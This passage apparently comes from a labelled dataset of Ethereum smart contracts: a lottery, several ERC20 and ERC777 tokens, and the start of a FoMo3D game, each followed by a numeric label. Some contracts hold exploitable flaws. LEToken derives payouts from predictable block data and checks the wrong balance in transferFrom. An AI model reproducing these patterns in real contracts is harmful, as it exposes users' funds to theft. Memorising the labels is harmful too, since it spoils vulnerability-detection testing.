return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) {
return depositTokens(from, token, tokens );
}
function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature ) public returns (bool success) {
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
uint tokenBalance = ERC20Interface(tokenAddress).balanceOf(this);
uint undepositedTokens = tokenBalance.sub(depositedTokens[tokenAddress]);
assert(tokens <= undepositedTokens);
if(!ERC20Interface(tokenAddress).transfer(owner, tokens)) revert();
return true;
}
} | 1 | 3,916 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract ITVToken {
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function safeTransfer(address _to, uint256 _value, bytes _data) public;
}
contract IArtefact {
function artefacts(uint id) public returns (uint, uint);
function ownerOf(uint256 _tokenId) public view returns (address);
}
contract ITVKey {
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function keys(uint id) public returns (uint, uint);
function mint(address to, uint chestId) public returns (uint);
function burn(uint id) public;
}
contract TVLottery is Ownable, ERC721Receiver {
address public manager;
address public TVTokenAddress;
address public TVKeyAddress;
struct Collection {
uint id;
uint[] typeIds;
address[] tokens;
uint chestId;
uint lotteryId;
bool created;
}
struct Lottery {
uint id;
address bank;
uint[] collections;
uint bankPercentage;
bool isActive;
bool created;
}
struct Chest {
uint id;
uint lotteryId;
uint percentage;
uint count;
uint keysCount;
uint openedCount;
bool created;
}
mapping(uint => Lottery) public lotteries;
mapping(uint => Chest) public chests;
mapping(uint => Collection) public collections;
mapping(uint => mapping(address => bool)) public usedElements;
event KeyReceived(uint keyId, uint lotteryId, uint collectionId, uint chestId, address receiver);
event ChestOpened(uint keyId, uint lotteryId, uint chestId, uint reward, address receiver);
event ArtefactUsed(uint id, address token, address sender);
modifier onlyOwnerOrManager() {
require(msg.sender == owner || manager == msg.sender);
_;
}
constructor(
address _TVTokenAddress,
address _TVKeyAddress,
address _manager
) public {
manager = _manager;
TVTokenAddress = _TVTokenAddress;
TVKeyAddress = _TVKeyAddress;
}
function onERC721Received(
address _from,
uint256 _tokenId,
bytes
) public returns (bytes4) {
require(msg.sender == TVKeyAddress);
(, uint chestId) = ITVKey(TVKeyAddress).keys(_tokenId);
Chest memory chest = chests[chestId];
Lottery memory lottery = lotteries[chest.lotteryId];
ITVKey(TVKeyAddress).transferFrom(this, lottery.bank, _tokenId);
lotteries[chest.lotteryId].bankPercentage -= chest.percentage;
chests[chestId].openedCount = chest.openedCount + 1;
uint reward = getChestReward(chestId);
ITVToken(TVTokenAddress).transferFrom(lottery.bank, _from, reward);
emit ChestOpened(_tokenId, lottery.id, chest.id, reward, _from);
return ERC721_RECEIVED;
}
function getChestReward(uint chestId) public view returns (uint) {
Chest memory chest = chests[chestId];
Lottery memory lottery = lotteries[chest.lotteryId];
uint bankBalance = ITVToken(TVTokenAddress).balanceOf(lottery.bank);
uint onePercentage = bankBalance / lottery.bankPercentage;
return chest.percentage * onePercentage;
}
function getKey(uint lotteryId, uint collectionId, uint[] elementIds) public returns (uint) {
Lottery memory lottery = lotteries[lotteryId];
Collection memory collection = collections[collectionId];
Chest memory chest = chests[collection.chestId];
require(collection.lotteryId == lotteryId);
require(lottery.created && lottery.isActive && collection.created);
require(chest.keysCount > 0);
checkCollection(collection, elementIds);
chests[collection.chestId].keysCount = chest.keysCount - 1;
uint keyId = ITVKey(TVKeyAddress).mint(msg.sender, chest.id);
emit KeyReceived(keyId, lotteryId, collectionId, chest.id, msg.sender);
return keyId;
}
function checkCollection(Collection collection, uint[] elementsIds) internal {
require(elementsIds.length == collection.typeIds.length);
for (uint i = 0; i < elementsIds.length; i++) {
(uint id, uint typeId) = IArtefact(collection.tokens[i]).artefacts(elementsIds[i]);
require(typeId == collection.typeIds[i]);
require(!usedElements[id][collection.tokens[i]]);
require(IArtefact(collection.tokens[i]).ownerOf(id) == msg.sender);
usedElements[id][collection.tokens[i]] = true;
emit ArtefactUsed(id, collection.tokens[i], msg.sender);
}
}
function setCollection(
uint id,
uint[] typeIds,
address[] tokens,
uint chestId,
uint lotteryId,
bool created
) public onlyOwnerOrManager {
require(typeIds.length == tokens.length);
collections[id] = Collection(id, typeIds, tokens, chestId, lotteryId, created);
}
function getCollectionElementsCount(uint id) public view returns(uint) {
return collections[id].typeIds.length;
}
function getCollectionElementByIndex(uint id, uint index) public view returns(uint, address) {
return (collections[id].typeIds[index], collections[id].tokens[index]);
}
function setChest(
uint lotteryId,
uint id,
uint percentage,
uint count,
uint keysCount,
uint openedCount,
bool created
) public onlyOwnerOrManager {
chests[id] = Chest(id, lotteryId, percentage, count, keysCount, openedCount, created);
}
function setLottery(
uint id,
address bank,
uint[] _collections,
uint bankPercentage,
bool isActive,
bool created
) public onlyOwnerOrManager {
lotteries[id] = Lottery(id, bank, _collections, bankPercentage, isActive, created);
}
function getLotteryCollectionCount(uint id) public view returns(uint) {
return lotteries[id].collections.length;
}
function getLotteryCollectionByIndex(uint id, uint index) public view returns(uint) {
return lotteries[id].collections[index];
}
function changeLotteryBank(uint lotteryId, address bank, uint bankPercentage) public onlyOwnerOrManager {
lotteries[lotteryId].bank = bank;
lotteries[lotteryId].bankPercentage = bankPercentage;
}
function updateCollections(uint lotteryId, uint[] _collections) public onlyOwnerOrManager {
lotteries[lotteryId].collections = _collections;
}
function setLotteryActive(uint id, bool isActive) public onlyOwnerOrManager {
lotteries[id].isActive = isActive;
}
function changeTVTokenAddress(address newAddress) public onlyOwnerOrManager {
TVTokenAddress = newAddress;
}
function changeTVKeyAddress(address newAddress) public onlyOwnerOrManager {
TVKeyAddress = newAddress;
}
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
} | 1 | 4,582 |
pragma solidity ^0.4.16;
interface IERC20 {
function TotalSupply() constant returns (uint totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LEToken is IERC20{
using SafeMath for uint256;
uint256 _totalSupply = 0;
uint256 totalContribution = 0;
uint256 totalBonus = 0;
string public symbol = "LET";
string public constant name = "LEToken";
uint256 public constant decimals = 18;
uint256 public constant RATE = 25000;
address owner;
bool public IsEnable = true;
bool public SendEth = false;
uint256 nTrans;
uint256 nTransVinc;
uint256 n5000 = 0;
uint256 n1500 = 0;
uint256 n500 = 0;
uint256 n10 = 0;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function() payable{
require(IsEnable);
createTokens();
}
function LEToken(){
owner = msg.sender;
balances[owner] = 1000000 * 10**decimals;
}
function createTokens() payable{
require(msg.value >= 0);
uint256 bonus = 0;
uint ethBonus = 0;
nTrans ++;
uint256 tokens = msg.value.mul(10 ** decimals);
tokens = tokens.mul(RATE);
tokens = tokens.div(10 ** 18);
if (msg.value >= 20 finney) {
bytes32 bonusHash = keccak256(block.coinbase, block.blockhash(block.number), block.timestamp);
if (bonusHash[30] == 0xFF && bonusHash[31] >= 0xF4) {
ethBonus = 4 ether;
n5000 ++;
nTransVinc ++;
} else if (bonusHash[28] == 0xFF && bonusHash[29] >= 0xD5) {
ethBonus = 1 ether;
n1500 ++;
nTransVinc ++;
} else if (bonusHash[26] == 0xFF && bonusHash[27] >= 0x7E) {
ethBonus = 500 finney;
n500 ++;
nTransVinc ++;
} else if (bonusHash[25] >= 0xEF) {
ethBonus = msg.value;
n10 ++;
nTransVinc ++;
}
if (bonusHash[0] >= 0xCC ) {
if (bonusHash[0] < 0xD8) {
bonus = tokens;
}
else if (bonusHash[0] >= 0xD8 && bonusHash[0] < 0xE2 ) {
bonus = tokens.mul(2);
}
else if (bonusHash[0] >= 0xE2 && bonusHash[0] < 0xEC ) {
bonus = tokens.mul(3);
}
else if (bonusHash[0] >= 0xEC && bonusHash[0] < 0xF6 ) {
bonus = tokens.mul(4);
}
else if (bonusHash[0] >= 0xF6 ) {
bonus = tokens.mul(5);
}
totalBonus += bonus;
nTransVinc ++;
}
}
tokens += bonus;
uint256 sum = _totalSupply.add(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = sum;
totalContribution = totalContribution.add(msg.value);
if (ethBonus > 0) {
if (this.balance > ethBonus) {
msg.sender.transfer(ethBonus);
}
}
if (SendEth) {
owner.transfer(this.balance);
}
Transfer(owner, msg.sender, tokens);
}
function TotalSupply() constant returns (uint totalSupply){
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint balance){
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success){
require(
balances[msg.sender] >= _value
&& _value > 0
);
if(msg.data.length < (2 * 32) + 4) return;
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success){
require(
allowed[_from][msg.sender] >= _value
&& balances[msg.sender] >= _value
&& _value > 0
);
if(msg.data.length < (2 * 32) + 4) return;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining){
return allowed[_owner][_spender];
}
function Enable() {
require(msg.sender == owner);
IsEnable = true;
}
function Disable() {
require(msg.sender == owner);
IsEnable = false;
}
function SendEthOn() {
require(msg.sender == owner);
SendEth = true;
}
function SendEthOff() {
require(msg.sender == owner);
SendEth = false;
}
function getStats() constant returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (totalContribution, _totalSupply, totalBonus, nTrans, nTransVinc, n5000, n1500, n500, n10);
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
} | 1 | 5,003 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LANA is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function LANA() public {
symbol = "LANA";
name = "LANA";
decimals = 0;
_totalSupply = 7506000000;
balances[0xc0fD6943086051769642563af6c002dB37a9Db23] = _totalSupply;
Transfer(address(0), 0xc0fD6943086051769642563af6c002dB37a9Db23, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,053 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TokenRecoverable is Ownable {
using SafeERC20 for ERC20Basic;
function recoverTokens(ERC20Basic token, address to, uint256 amount) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
require(balance >= amount);
token.safeTransfer(to, amount);
}
}
contract ERC820Registry {
function getManager(address addr) public view returns(address);
function setManager(address addr, address newManager) public;
function getInterfaceImplementer(address addr, bytes32 iHash) public constant returns (address);
function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public;
}
contract ERC820Implementer {
ERC820Registry erc820Registry = ERC820Registry(0x991a1bcb077599290d7305493c9A630c20f8b798);
function setInterfaceImplementation(string ifaceLabel, address impl) internal {
bytes32 ifaceHash = keccak256(abi.encodePacked(ifaceLabel));
erc820Registry.setInterfaceImplementer(this, ifaceHash, impl);
}
function interfaceAddr(address addr, string ifaceLabel) internal constant returns(address) {
bytes32 ifaceHash = keccak256(abi.encodePacked(ifaceLabel));
return erc820Registry.getInterfaceImplementer(addr, ifaceHash);
}
function delegateManagement(address newManager) internal {
erc820Registry.setManager(this, newManager);
}
}
contract ERC20Token {
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address owner) public view returns (uint256);
function transfer(address to, uint256 amount) public returns (bool);
function transferFrom(address from, address to, uint256 amount) public returns (bool);
function approve(address spender, uint256 amount) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
contract ERC777Token {
function name() public view returns (string);
function symbol() public view returns (string);
function totalSupply() public view returns (uint256);
function balanceOf(address owner) public view returns (uint256);
function granularity() public view returns (uint256);
function defaultOperators() public view returns (address[]);
function isOperatorFor(address operator, address tokenHolder) public view returns (bool);
function authorizeOperator(address operator) public;
function revokeOperator(address operator) public;
function send(address to, uint256 amount, bytes holderData) public;
function operatorSend(address from, address to, uint256 amount, bytes holderData, bytes operatorData) public;
function burn(uint256 amount, bytes holderData) public;
function operatorBurn(address from, uint256 amount, bytes holderData, bytes operatorData) public;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes holderData,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes holderData, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
contract ERC777TokensRecipient {
function tokensReceived(
address operator,
address from,
address to,
uint amount,
bytes userData,
bytes operatorData
) public;
}
contract ERC777TokensSender {
function tokensToSend(
address operator,
address from,
address to,
uint amount,
bytes userData,
bytes operatorData
) public;
}
contract ERC777BaseToken is ERC777Token, ERC820Implementer {
using SafeMath for uint256;
string internal mName;
string internal mSymbol;
uint256 internal mGranularity;
uint256 internal mTotalSupply;
mapping(address => uint) internal mBalances;
mapping(address => mapping(address => bool)) internal mAuthorized;
address[] internal mDefaultOperators;
mapping(address => bool) internal mIsDefaultOperator;
mapping(address => mapping(address => bool)) internal mRevokedDefaultOperator;
constructor(string _name, string _symbol, uint256 _granularity, address[] _defaultOperators) internal {
mName = _name;
mSymbol = _symbol;
mTotalSupply = 0;
require(_granularity >= 1);
mGranularity = _granularity;
mDefaultOperators = _defaultOperators;
for (uint i = 0; i < mDefaultOperators.length; i++) { mIsDefaultOperator[mDefaultOperators[i]] = true; }
setInterfaceImplementation("ERC777Token", this);
}
function name() public constant returns (string) { return mName; }
function symbol() public constant returns (string) { return mSymbol; }
function granularity() public constant returns (uint256) { return mGranularity; }
function totalSupply() public constant returns (uint256) { return mTotalSupply; }
function balanceOf(address _tokenHolder) public constant returns (uint256) { return mBalances[_tokenHolder]; }
function defaultOperators() public view returns (address[]) { return mDefaultOperators; }
function send(address _to, uint256 _amount, bytes _userData) public {
doSend(msg.sender, msg.sender, _to, _amount, _userData, "", true);
}
function authorizeOperator(address _operator) public {
require(_operator != msg.sender);
if (mIsDefaultOperator[_operator]) {
mRevokedDefaultOperator[_operator][msg.sender] = false;
} else {
mAuthorized[_operator][msg.sender] = true;
}
emit AuthorizedOperator(_operator, msg.sender);
}
function revokeOperator(address _operator) public {
require(_operator != msg.sender);
if (mIsDefaultOperator[_operator]) {
mRevokedDefaultOperator[_operator][msg.sender] = true;
} else {
mAuthorized[_operator][msg.sender] = false;
}
emit RevokedOperator(_operator, msg.sender);
}
function isOperatorFor(address _operator, address _tokenHolder) public constant returns (bool) {
return (_operator == _tokenHolder
|| mAuthorized[_operator][_tokenHolder]
|| (mIsDefaultOperator[_operator] && !mRevokedDefaultOperator[_operator][_tokenHolder]));
}
function operatorSend(address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData) public {
require(isOperatorFor(msg.sender, _from));
doSend(msg.sender, _from, _to, _amount, _userData, _operatorData, true);
}
function burn(uint256 _amount, bytes _holderData) public {
doBurn(msg.sender, msg.sender, _amount, _holderData, "");
}
function operatorBurn(address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) public {
require(isOperatorFor(msg.sender, _tokenHolder));
doBurn(msg.sender, _tokenHolder, _amount, _holderData, _operatorData);
}
function requireMultiple(uint256 _amount) internal view {
require(_amount.div(mGranularity).mul(mGranularity) == _amount);
}
function isRegularAddress(address _addr) internal constant returns(bool) {
if (_addr == 0) { return false; }
uint size;
assembly { size := extcodesize(_addr) }
return size == 0;
}
function doSend(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
)
internal
{
requireMultiple(_amount);
callSender(_operator, _from, _to, _amount, _userData, _operatorData);
require(_to != address(0));
require(mBalances[_from] >= _amount);
mBalances[_from] = mBalances[_from].sub(_amount);
mBalances[_to] = mBalances[_to].add(_amount);
callRecipient(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking);
emit Sent(_operator, _from, _to, _amount, _userData, _operatorData);
}
function doBurn(address _operator, address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData)
internal
{
requireMultiple(_amount);
require(balanceOf(_tokenHolder) >= _amount);
mBalances[_tokenHolder] = mBalances[_tokenHolder].sub(_amount);
mTotalSupply = mTotalSupply.sub(_amount);
callSender(_operator, _tokenHolder, 0x0, _amount, _holderData, _operatorData);
emit Burned(_operator, _tokenHolder, _amount, _holderData, _operatorData);
}
function callRecipient(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
)
internal
{
address recipientImplementation = interfaceAddr(_to, "ERC777TokensRecipient");
if (recipientImplementation != 0) {
ERC777TokensRecipient(recipientImplementation).tokensReceived(
_operator, _from, _to, _amount, _userData, _operatorData);
} else if (_preventLocking) {
require(isRegularAddress(_to));
}
}
function callSender(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData
)
internal
{
address senderImplementation = interfaceAddr(_from, "ERC777TokensSender");
if (senderImplementation == 0) { return; }
ERC777TokensSender(senderImplementation).tokensToSend(_operator, _from, _to, _amount, _userData, _operatorData);
}
}
contract ERC777ERC20BaseToken is ERC20Token, ERC777BaseToken {
bool internal mErc20compatible;
mapping(address => mapping(address => bool)) internal mAuthorized;
mapping(address => mapping(address => uint256)) internal mAllowed;
constructor(
string _name,
string _symbol,
uint256 _granularity,
address[] _defaultOperators
)
internal ERC777BaseToken(_name, _symbol, _granularity, _defaultOperators)
{
mErc20compatible = true;
setInterfaceImplementation("ERC20Token", this);
}
modifier erc20 () {
require(mErc20compatible);
_;
}
function decimals() public erc20 constant returns (uint8) { return uint8(18); }
function transfer(address _to, uint256 _amount) public erc20 returns (bool success) {
doSend(msg.sender, msg.sender, _to, _amount, "", "", false);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public erc20 returns (bool success) {
require(_amount <= mAllowed[_from][msg.sender]);
mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount);
doSend(msg.sender, _from, _to, _amount, "", "", false);
return true;
}
function approve(address _spender, uint256 _amount) public erc20 returns (bool success) {
mAllowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public erc20 constant returns (uint256 remaining) {
return mAllowed[_owner][_spender];
}
function doSend(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
)
internal
{
super.doSend(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking);
if (mErc20compatible) { emit Transfer(_from, _to, _amount); }
}
function doBurn(address _operator, address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData)
internal
{
super.doBurn(_operator, _tokenHolder, _amount, _holderData, _operatorData);
if (mErc20compatible) { emit Transfer(_tokenHolder, 0x0, _amount); }
}
}
contract OrcaToken is TokenRecoverable, ERC777ERC20BaseToken {
using SafeMath for uint256;
string private constant name_ = "ORCA Token";
string private constant symbol_ = "ORCA";
uint256 private constant granularity_ = 1;
bool public throwOnIncompatibleContract = true;
bool public burnEnabled = false;
bool public mintingFinished = false;
address public communityLock = address(0);
event MintFinished();
constructor() public ERC777ERC20BaseToken(name_, symbol_, granularity_, new address[](0)) {
setInterfaceImplementation("ERC20Token", address(this));
setInterfaceImplementation("ERC777Token", address(this));
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTrade() {
require(mintingFinished);
_;
}
modifier canBurn() {
require(burnEnabled || msg.sender == communityLock);
_;
}
function disableERC20() public onlyOwner {
mErc20compatible = false;
setInterfaceImplementation("ERC20Token", 0x0);
}
function enableERC20() public onlyOwner {
mErc20compatible = true;
setInterfaceImplementation("ERC20Token", this);
}
function send(address _to, uint256 _amount, bytes _userData) public canTrade {
super.send(_to, _amount, _userData);
}
function operatorSend(address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData) public canTrade {
super.operatorSend(_from, _to, _amount, _userData, _operatorData);
}
function transfer(address _to, uint256 _amount) public erc20 canTrade returns (bool success) {
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public erc20 canTrade returns (bool success) {
return super.transferFrom(_from, _to, _amount);
}
function mint(address _tokenHolder, uint256 _amount, bytes _operatorData) public onlyOwner canMint {
requireMultiple(_amount);
mTotalSupply = mTotalSupply.add(_amount);
mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount);
callRecipient(msg.sender, 0x0, _tokenHolder, _amount, "", _operatorData, false);
emit Minted(msg.sender, _tokenHolder, _amount, _operatorData);
if (mErc20compatible) { emit Transfer(0x0, _tokenHolder, _amount); }
}
function burn(uint256 _amount, bytes _holderData) public canBurn {
super.burn(_amount, _holderData);
}
function finishMinting() public onlyOwner canMint {
mintingFinished = true;
emit MintFinished();
}
function setThrowOnIncompatibleContract(bool _throwOnIncompatibleContract) public onlyOwner {
throwOnIncompatibleContract = _throwOnIncompatibleContract;
}
function setCommunityLock(address _communityLock) public onlyOwner {
require(_communityLock != address(0));
communityLock = _communityLock;
}
function permitBurning(bool _enable) public onlyOwner {
burnEnabled = _enable;
}
function callRecipient(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
) internal {
address recipientImplementation = interfaceAddr(_to, "ERC777TokensRecipient");
if (recipientImplementation != 0) {
ERC777TokensRecipient(recipientImplementation).tokensReceived(
_operator, _from, _to, _amount, _userData, _operatorData);
} else if (throwOnIncompatibleContract && _preventLocking) {
require(isRegularAddress(_to));
}
}
} | 0 | 617 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents { }
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x02a2f89c343dcea0d41dd3366d0bc769ba5a9c32);
